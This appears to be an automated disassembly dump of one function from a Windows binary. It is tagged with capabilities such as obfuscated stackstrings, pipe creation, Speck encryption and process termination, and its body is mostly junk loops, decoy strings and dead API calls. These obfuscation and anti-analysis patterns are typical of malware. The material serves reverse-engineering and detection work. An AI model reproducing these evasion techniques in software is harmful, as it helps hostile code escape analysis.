Function at 0x1002af10
Capabilities:
Contain obfuscated stackstrings
Create pipe
Encrypt data using speck
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057583
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xfb0
push esi
mov dword [ebp - 0x1b4], 0xfffffff8
mov dword [ebp - 0x41c], 0x2adc
mov dword [ebp - 0x8b8], str.rsxfyxuq_lhbnqca_tks_okicct_srba_uqncb_dgd_slgxmpf_osb_ihnrw
cmp dword [ebp - 0x41c], 0x2dc2
jle 0x1002b003
and dword [ebp - 0x284], 0
jmp 0x1002af73
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x3abd
jge 0x1002b003
and dword [ebp - 0x19c], 0
jmp 0x1002af99
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x4114
jge 0x1002affe
mov eax, dword [ebp - 0x284]
mov ecx, dword [ebp - 0x19c]
sar eax, cl
cdq
mov dword [ebp - 0x8d4], eax
mov dword [ebp - 0x8d0], edx
push dword [ebp - 0x8d0]
push dword [ebp - 0x8d4]
lea ecx, [ebp - 0xf94]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xa94], eax
mov ecx, dword [ebp - 0xa94]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xf94]
call fcn.1000c2ee
jmp 0x1002af8c
jmp 0x1002af66
push 3
lea ecx, [ebp - 0xce0]
call fcn.1000c530
and dword [ebp - 4], 0
cmp dword [ebp - 0x41c], 0x289a
jge 0x1002b02c
push dword [ebp - 0x8b8]
call fcn.1004139c
pop ecx
mov dword [ebp - 0x7c8], 0x261c
mov dword [ebp - 0x8c8], str.qjkc_rhgvan_fkyq_lemfog_hmqdrpbjd_hca_ukkbdxvol_ethldc_xukjcgn_yyaafdkdg
cmp dword [ebp - 0x7c8], 0x28ac
jle 0x1002b160
and dword [ebp - 0x2fc], 0
jmp 0x1002b066
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x1f97
jge 0x1002b160
and dword [ebp - 0x1a4], 0
jmp 0x1002b08c
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x390
jge 0x1002b15b
and dword [ebp - 0x28c], 0
jmp 0x1002b0b2
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x3cc9
jge 0x1002b156
and dword [ebp - 0x1ac], 0
jmp 0x1002b0d8
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x6724
jge 0x1002b151
mov esi, dword [ebp - 0x2fc]
sub esi, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x28c]
cdq
idiv dword [ebp - 0x1ac]
mov ecx, edx
sar esi, cl
mov eax, esi
cdq
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], edx
push dword [ebp - 0x8dc]
push dword [ebp - 0x8e0]
lea ecx, [ebp - 0xea4]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0x8c0], eax
mov ecx, dword [ebp - 0x8c0]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xea4]
call fcn.1000c2ee
jmp 0x1002b0cb
jmp 0x1002b0a5
jmp 0x1002b07f
jmp 0x1002b059
mov dword [ebp - 0x354], 0
jmp 0x1002b179
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 3
jge 0x1002b19b
push dword [ebp - 0x354]
lea ecx, [ebp - 0xce0]
call fcn.1000c5cf
mov dword [eax], 0xc74aa0d7
jmp 0x1002b16c
cmp dword [ebp - 0x7c8], 0x2587
jge 0x1002b1b3
push dword [ebp - 0x8c8]
call fcn.1004139c
pop ecx
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x1002b1cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x1b4], 0
jmp 0x1002b1e8
mov eax, dword [ebp - 0x1b4]
dec eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xfffffff9
jl 0x1002b38d
mov dword [ebp - 0x800], 0x3146
mov dword [ebp - 0xa7c], str.datd_mwypj_kwutcgtkp_wjcptgit_dnx_xhk_reglmv_tlfokain_vahhc
cmp dword [ebp - 0x800], 0x31d9
jle 0x1002b327
and dword [ebp - 0x294], 0
jmp 0x1002b22f
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x5540
jge 0x1002b327
and dword [ebp - 0x1bc], 0
jmp 0x1002b255
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x2703
jge 0x1002b322
and dword [ebp - 0x304], 0
jmp 0x1002b27b
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x54c0
jge 0x1002b31d
and dword [ebp - 0x1c4], 0
jmp 0x1002b2a1
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x296a
jge 0x1002b318
mov eax, dword [ebp - 0x294]
cdq
idiv dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x304]
shl edx, cl
and edx, dword [ebp - 0x1c4]
mov eax, edx
cdq
mov dword [ebp - 0x8ec], eax
mov dword [ebp - 0x8e8], edx
push dword [ebp - 0x8e8]
push dword [ebp - 0x8ec]
lea ecx, [ebp - 0xf58]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xa74], eax
mov ecx, dword [ebp - 0xa74]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xf58]
call fcn.1000c2ee
jmp 0x1002b294
jmp 0x1002b26e
jmp 0x1002b248
jmp 0x1002b222
cmp dword [ebp - 0x800], 0x2df3
jge 0x1002b33f
push dword [ebp - 0xa7c]
call fcn.1004139c
pop ecx
mov dword [ebp - 0xa84], 0x5166941f
mov dword [ebp - 0x29c], 0
jmp 0x1002b362
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 2
jge 0x1002b37e
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0xe84], 0x7a6deec5
jmp 0x1002b355
mov dword [ebp - 0xa84], 1
jmp 0x1002b1db
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xce0]
call fcn.1000c5b3
cmp dword [0x10074008], 0
jne 0x100306a0
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x808], 6
mov dword [ebp - 0x1cc], 0
jmp 0x1002b3e0
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x1002b3fc
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0xcf0], 0xffffffff
jmp 0x1002b3d3
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x33c], 0
jmp 0x1002b422
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 9
jge 0x1002b474
mov dword [ebp - 0x118], 2
jmp 0x1002b444
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x1002b472
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0xcf0], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcf0], 0
je 0x1002b470
jmp 0x1002b437
jmp 0x1002b437
jmp 0x1002b415
mov dword [ebp - 0x5c], 0xa48bbca6
mov dword [ebp - 0xa9c], 0x3ed23c5a
mov dword [ebp - 0x1d4], 0
jmp 0x1002b49e
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 3
jge 0x1002b4ba
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0xec8], 0x47dc4b4e
jmp 0x1002b491
mov dword [ebp - 0x5c], 0
jmp 0x1002b4ca
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffe7
jne 0x1002b5a9
mov dword [ebp - 0x810], 0xac6
mov dword [ebp - 0xa8c], str.eqykgme_bbekol_kru_lskjoldym_cfwwee_aycmara_kniv_xhnmaevyc_uwvdwynif_yqto
cmp dword [ebp - 0x810], 0xc67
jle 0x1002b56e
and dword [ebp - 0x2a4], 0
jmp 0x1002b50a
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x46c
jge 0x1002b56e
and dword [ebp - 0x1dc], 0
jmp 0x1002b52c
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xefb
jge 0x1002b56c
mov eax, dword [ebp - 0x2a4]
cdq
idiv dword [ebp - 0x1dc]
mov eax, edx
cdq
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8f4], edx
push dword [ebp - 0x8f4]
push dword [ebp - 0x8f8]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002b51f
jmp 0x1002b4fd
mov byte [ebp - 0xb9], 0
cmp dword [ebp - 0x810], 0x8da
jge 0x1002b591
mov edx, dword [ebp - 0xa8c]
mov ecx, 0x1006cbb8
call fcn.1000e58f
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x1002b5a4
push 0
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1002b4c3
mov dword [ebp - 0x5c], 0
jmp 0x1002b5b9
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jg 0x1002b62c
mov dword [ebp - 0x898], 9
mov dword [ebp - 0x7c0], 0xbcabebf3
cmp dword [ebp - 0x898], 0
je 0x1002b5e8
mov dword [ebp - 0x804], 1
jmp 0x1002b5ef
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x804]
add eax, 0x669b68bc
mov dword [ebp - 0x7c0], eax
mov eax, dword [ebp - 0xa9c]
cmp dword [ebp - 0x5c], eax
je 0x1002b617
mov dword [ebp - 0x7bc], 1
jmp 0x1002b61e
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7bc]
mov dword [ebp - 0x7c0], eax
jmp 0x1002b5b2
push 4
lea ecx, [ebp - 0xc0c]
call fcn.1000c530
mov dword [ebp - 4], 1
mov dword [ebp - 0x108], 0xbeaa32b1
mov dword [ebp - 0xda0], 0xfffffffe
mov dword [ebp - 0x30c], 0
jmp 0x1002b66d
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 4
jge 0x1002b68c
push dword [ebp - 0x30c]
lea ecx, [ebp - 0xc0c]
call fcn.1000c5cf
or dword [eax], 0xffffffff
jmp 0x1002b660
mov dword [ebp - 0x108], 0
jmp 0x1002b6a5
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 4
jge 0x1002b6c7
push dword [ebp - 0x108]
lea ecx, [ebp - 0xc0c]
call fcn.1000c5cf
mov dword [eax], 0xcb45
jmp 0x1002b698
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0c]
call fcn.1000c5b3
mov byte [ebp - 0x184], 4
mov byte [ebp - 0x183], 0x59
mov byte [ebp - 0x182], 8
mov byte [ebp - 0x181], 0x4b
mov byte [ebp - 0x180], 3
mov byte [ebp - 0x17f], 0x40
mov byte [ebp - 0x17e], 7
mov byte [ebp - 0x17d], 0x5c
mov byte [ebp - 0x17c], 2
mov byte [ebp - 0x17b], 0x40
mov byte [ebp - 0x17a], 3
mov byte [ebp - 0x179], 0x6a
mov byte [ebp - 0x178], 0xce
mov byte [ebp - 0x177], 0xb6
mov byte [ebp - 0x176], 0xa
mov byte [ebp - 0x175], 0x1e
mov byte [ebp - 0x174], 6
mov byte [ebp - 0x173], 0x5f
mov byte [ebp - 0x172], 1
mov byte [ebp - 0x171], 0x56
mov byte [ebp - 0x170], 0xb
mov byte [ebp - 0x16f], 9
mov byte [ebp - 0x16e], 0
mov byte [ebp - 0x16d], 0x27
mov byte [ebp - 0x16c], 5
mov byte [ebp - 0x16b], 0x27
mov byte [ebp - 0x16a], 9
mov byte [ebp - 0x169], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x184]
or eax, 0x3c
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x184]
and ecx, 0x3c
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x184]
mov word [ebp + ecx*2 - 0xc9c], ax
mov dword [ebp - 0xa8], 1
mov dword [ebp - 0x3c0], 0xfffffff6
and dword [ebp - 0xbb0], 0
and dword [ebp - 0xbac], 0
and dword [ebp - 0xba8], 0
and dword [ebp - 0xba4], 0
lea ecx, [ebp - 0x405]
call fcn.1000c5de
push eax
lea eax, [ebp - 0xba0]
push eax
lea eax, [ebp - 0xbb0]
push eax
lea ecx, [ebp - 0xe14]
call fcn.1000c5e1
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb48]
call fcn.1000c58d
mov dword [ebp - 4], 2
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0xa8], 0xffffffe9
jmp 0x1002b863
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x11
jle 0x1002b89f
mov dword [ebp - 0x424], 3
mov eax, dword [ebp - 0x424]
dec eax
mov dword [ebp - 0x424], eax
mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x1002b89d
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x1002b856
mov eax, 0x63126ff2
test eax, eax
je 0x1002b8c9
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
je 0x1002b8c9
mov dword [ebp - 0x42c], 1
jmp 0x1002b8d0
and dword [ebp - 0x42c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x3c0], eax
mov esi, dword [ebp - 0x3c0]
push 2
lea ecx, [ebp - 0xb48]
call fcn.1000c5cf
add esi, dword [eax]
je 0x1002b914
push 2
lea ecx, [ebp - 0xb48]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002b914
mov dword [ebp - 0x634], 1
jmp 0x1002b91b
and dword [ebp - 0x634], 0
push 2
lea ecx, [ebp - 0xb48]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x634]
mov dword [eax], ecx
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0xcb8], eax
mov eax, dword [ebp - 0x42c]
inc eax
inc eax
mov dword [ebp - 0x73c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb48]
call fcn.1000c5b3
mov dword [ebp - 0x30], 2
and dword [ebp - 0x234], 0
jmp 0x1002b971
mov eax, dword [ebp - 0x30]
inc eax
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1c
jae 0x1002c5bc
mov dword [ebp - 0x364], 0x1f7e2799
mov dword [ebp - 0xabc], 0xfffffff7
mov dword [ebp - 0x63c], 0x3adf
mov dword [ebp - 0xac4], str.haxcpkgkp_sogadtvpm_bryvpey_xsdg_kdrfchuql
cmp dword [ebp - 0x63c], 0x3d34
jle 0x1002ba67
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
and dword [ebp - 0x1ec], 0
jmp 0x1002b9d3
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x661f
jge 0x1002ba67
and dword [ebp - 0x1e4], 0
jmp 0x1002b9f9
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x77db
jge 0x1002ba62
and dword [ebp - 0x2ac], 0
jmp 0x1002ba1b
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x323e
jge 0x1002ba60
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x2ac]
shl eax, cl
xor eax, dword [ebp - 0x1ec]
cdq
mov dword [ebp - 0x904], eax
mov dword [ebp - 0x900], edx
push dword [ebp - 0x900]
push dword [ebp - 0x904]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002ba0e
jmp 0x1002b9ec
jmp 0x1002b9c6
mov dword [ebp - 0x364], 0xffffffea
jmp 0x1002ba80
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x19
jne 0x1002bbe9
mov dword [ebp - 0x434], 0x54f1
mov dword [ebp - 0xaac], str.iupakuu_pykdbpck_yrcwa_yla
cmp dword [ebp - 0x434], 0x57c7
jle 0x1002bb98
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
and dword [ebp - 0x1f4], 0
jmp 0x1002bad9
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x633f
jge 0x1002bb98
and dword [ebp - 0x2b4], 0
jmp 0x1002baff
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x1692
jge 0x1002bb93
and dword [ebp - 0x1fc], 0
jmp 0x1002bb25
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x6ea2
jge 0x1002bb8e
mov eax, dword [ebp - 0x1f4]
add eax, dword [ebp - 0x2b4]
and eax, dword [ebp - 0x1fc]
cdq
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], edx
push dword [ebp - 0x90c]
push dword [ebp - 0x910]
lea ecx, [ebp - 0xef8]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xaa4], eax
mov ecx, dword [ebp - 0xaa4]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xef8]
call fcn.1000c2ee
jmp 0x1002bb18
jmp 0x1002baf2
jmp 0x1002bacc
mov dword [ebp - 0xab4], 0x4d2edc75
cmp dword [ebp - 0x434], 0x5356
jge 0x1002bbba
push dword [ebp - 0xaac]
call fcn.1004139c
pop ecx
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x1002bbd8
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov eax, dword [ebp - 0xab4]
mov dword [ebp - 0xabc], eax
jmp 0x1002ba73
cmp dword [ebp - 0x63c], 0x38ff
jge 0x1002bc05
mov edx, dword [ebp - 0xac4]
mov ecx, 0x1006cbb8
call fcn.1000e58f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x184]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x30], eax
jne 0x1002c4af
mov dword [ebp - 0xb0], 1
mov dword [ebp - 0x43c], 0x4581
mov dword [ebp - 0xb18], str.iqklod_uhs_blqjkxes_xjbndvj_qwgegqgm_nmabsw
cmp dword [ebp - 0x43c], 0x45a9
jle 0x1002bd56
and dword [ebp - 0x314], 0
jmp 0x1002bc64
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x3ae
jge 0x1002bd56
and dword [ebp - 0x204], 0
jmp 0x1002bc8a
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x2382
jge 0x1002bd51
and dword [ebp - 0x2bc], 0
jmp 0x1002bcb0
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x1441
jge 0x1002bd4c
and dword [ebp - 0x188], 0
jmp 0x1002bcd6
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x2706
jge 0x1002bd47
mov eax, dword [ebp - 0x314]
xor eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x2bc]
and ecx, dword [ebp - 0x188]
or eax, ecx
cdq
mov dword [ebp - 0x91c], eax
mov dword [ebp - 0x918], edx
push dword [ebp - 0x918]
push dword [ebp - 0x91c]
lea ecx, [ebp - 0xfac]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xb28], eax
mov ecx, dword [ebp - 0xb28]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xfac]
call fcn.1000c2ee
jmp 0x1002bcc9
jmp 0x1002bca3
jmp 0x1002bc7d
jmp 0x1002bc57
cmp dword [ebp - 0x43c], 0x4359
jge 0x1002bd6e
push dword [ebp - 0xb18]
call fcn.1004139c
pop ecx
mov dword [ebp - 0xb8], 0x36b586fa
mov dword [ebp - 0x110], 0x220b7390
push 1
lea ecx, [ebp - 0xb54]
call fcn.1000c530
mov dword [ebp - 4], 3
mov dword [ebp - 0x7c], 0
jmp 0x1002bda6
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1002bdbc
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x20c], 0xffffffff
jmp 0x1002bd9f
mov dword [ebp - 0x7c], 0
jmp 0x1002bdcc
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1002bde8
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xb54]
call fcn.1000c5cf
mov dword [eax], 5
jmp 0x1002bdc5
mov dword [ebp - 0xb0], 0xffffffeb
jmp 0x1002be01
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 5
jl 0x1002c128
mov dword [ebp - 0x388], 0xfff8
mov dword [ebp - 0x3e4], 0xd907c4e7
mov dword [ebp - 0x8b0], 4
mov dword [ebp - 0x8a4], 0x1290
cmp dword [ebp - 0xb0], 0
je 0x1002c03e
mov dword [ebp - 0x144], 0xf1d8987
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x1002be6d
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xcc0], eax
cmp dword [ebp - 0xb0], 0
jne 0x1002bf96
cmp dword [ebp - 0xb0], 0
jne 0x1002be9b
mov dword [ebp - 0x7dc], 1
jmp 0x1002bea2
and dword [ebp - 0x7dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
cmp dword [ebp - 0x7dc], eax
jg 0x1002bec3
mov dword [ebp - 0x444], 1
jmp 0x1002beca
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x144]
imul eax, dword [ebp - 0x444]
cmp eax, 0x9ff446cd
ja 0x1002beea
mov dword [ebp - 0x644], 1
jmp 0x1002bef1
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0x73637828
jle 0x1002bf09
mov dword [ebp - 0x44c], 1
jmp 0x1002bf10
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x44c], eax
jge 0x1002bf2a
mov dword [ebp - 0x744], 1
jmp 0x1002bf31
and dword [ebp - 0x744], 0
cmp dword [ebp - 0x744], 0x1fcc
jle 0x1002bf49
mov dword [ebp - 0x454], 1
jmp 0x1002bf50
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x388]
cmp eax, dword [ebp - 0x454]
jl 0x1002bf6a
mov dword [ebp - 0x64c], 1
jmp 0x1002bf71
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
neg eax
cmp eax, dword [ebp - 0x144]
jge 0x1002bf96
and dword [ebp - 0xa40], 0
jmp 0x1002bfa0
mov dword [ebp - 0xa40], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
mov dword [ebp - 0xcc8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20c], 0
ja 0x1002bfcf
mov dword [ebp - 0x45c], 1
jmp 0x1002bfd6
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x388]
add eax, dword [ebp - 0x45c]
mov dword [ebp - 0x3e4], eax
je 0x1002bfff
cmp dword [ebp - 0x3e4], 0
je 0x1002bfff
mov dword [ebp - 0x7c4], 1
jmp 0x1002c006
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x7c4]
je 0x1002c026
cmp dword [ebp - 0x144], 0
jne 0x1002c026
and dword [ebp - 0x464], 0
jmp 0x1002c030
mov dword [ebp - 0x464], 1
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x8b0], eax
jmp 0x1002c06c
mov dword [ebp - 0xb8], 0
jmp 0x1002c057
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jg 0x1002c06c
mov dword [ebp - 0x110], 0xffffffff
jmp 0x1002c04a
mov dword [ebp - 0x110], 0
jmp 0x1002c085
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x1d
jne 0x1002c123
mov dword [ebp - 0xcd0], 0
cmp dword [ebp - 0x8a4], 0
je 0x1002c0a7
jmp 0x1002c123
push 0
lea ecx, [ebp - 0xb54]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002c0e1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
mov dword [ebp - 0xd84], eax
mov eax, 0xb785
test eax, eax
je 0x1002c0e1
mov dword [ebp - 0x654], 1
jmp 0x1002c0e8
and dword [ebp - 0x654], 0
push 0
lea ecx, [ebp - 0xb54]
call fcn.1000c5cf
mov eax, dword [eax]
cmp eax, dword [ebp - 0x654]
jle 0x1002c10b
mov dword [ebp - 0x46c], 1
jmp 0x1002c112
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0xb8], eax
jmp 0x1002c078
jmp 0x1002bdf4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb54]
call fcn.1000c5b3
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x184]
inc eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0x64], 0
jmp 0x1002c163
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x1002c179
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xe64], 0x82062403
jmp 0x1002c15c
mov dword [ebp - 0x74c], 0x349d
mov dword [ebp - 0xb2c], str.lsmluiwhp_oarniyn_ldugtc
cmp dword [ebp - 0x74c], 0x385d
jle 0x1002c210
and dword [ebp - 0x344], 0
jmp 0x1002c1af
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x786f
jge 0x1002c210
and dword [ebp - 0x214], 0
jmp 0x1002c1d1
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x533f
jge 0x1002c20e
mov eax, dword [ebp - 0x344]
add eax, dword [ebp - 0x214]
cdq
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], edx
push dword [ebp - 0x924]
push dword [ebp - 0x928]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002c1c4
jmp 0x1002c1a2
mov dword [ebp - 0x64], 0
jmp 0x1002c220
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x1002c236
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xd8c], 7
jmp 0x1002c219
cmp dword [ebp - 0x74c], 0x31b6
jge 0x1002c252
mov edx, dword [ebp - 0xb2c]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0xd8], 0
jmp 0x1002c26b
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 4
jge 0x1002c287
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0xe64], 1
jmp 0x1002c25e
mov dword [ebp - 0xd8], 3
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x184]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x30], eax
push 3
lea ecx, [ebp - 0xad4]
